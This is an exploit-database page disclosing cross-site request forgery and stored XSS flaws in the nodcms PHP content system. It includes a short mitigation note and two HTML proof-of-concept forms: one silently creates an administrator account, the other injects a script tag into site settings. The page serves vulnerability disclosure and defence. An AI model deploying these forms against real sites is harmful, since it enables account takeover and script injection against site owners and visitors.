nodcms Cross Site Request Forgery

vendor:

nodcms

by:

Ashiyane Digital Security Team

8,8

CVSS

HIGH

Cross Site Request Forgery

352

CWE

Product Name: nodcms

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2016

nodcms Cross Site Request Forgery

nodcms is vulnerable to Cross Site Request Forgery (CSRF) and Cross Site Scripting (XSS) attacks. An attacker can craft a malicious HTML page that when visited by an authenticated user, can create a new user with administrative privileges or inject malicious JavaScript code into the application.

Mitigation:

Implementing a CSRF token in the application can prevent CSRF attacks. Additionally, input validation should be performed on all user-supplied data to prevent XSS attacks.

Source

Exploit-DB raw data:

# Exploit Title :              nodcms Cross Site Request Forgery
# Author :                     Ashiyane Digital Security Team
# Google Dork :                 -
# Date :                       29/10/2016
# Type :                       webapps
# Platform :                   PHP
# Vendor Homepage :  http://www.nodcms.com/en
 Software link :
  https://github.com/khodakhah/nodcms/archive/master.zip



########################### CSRF PoC ###############################
# create User: username=Attacker & password=123456

<html>
  <!-- CSRF PoC  -->
  <body>
    <form name="form0" action="http://SiteName/admin/user_manipulate" method="POST">
      <input type="hidden" name="data[username]" value="Attacker" />
      <input type="hidden" name="data[email]" value="Attacker@attacker.com" />
      <input type="hidden" name="data[fullname]" value="Atacker" />
      <input type="hidden" name="data[password]" value="123456" />
      <input type="hidden" name="data[status]" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
####################################################################
 # CSRF/Xss
<html>
  <!-- CSRF PoC  -->
  <body>
    <form name="form1" action="http://sitename/admin/settings/generall" method="POST">
      <input type="hidden" name="data[language_id]" value="1" />
      <input type="hidden" name="data[company]" value="<script>alert(/xss/)</script>" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
####################################################################
#-# Discovered by : Amir.ght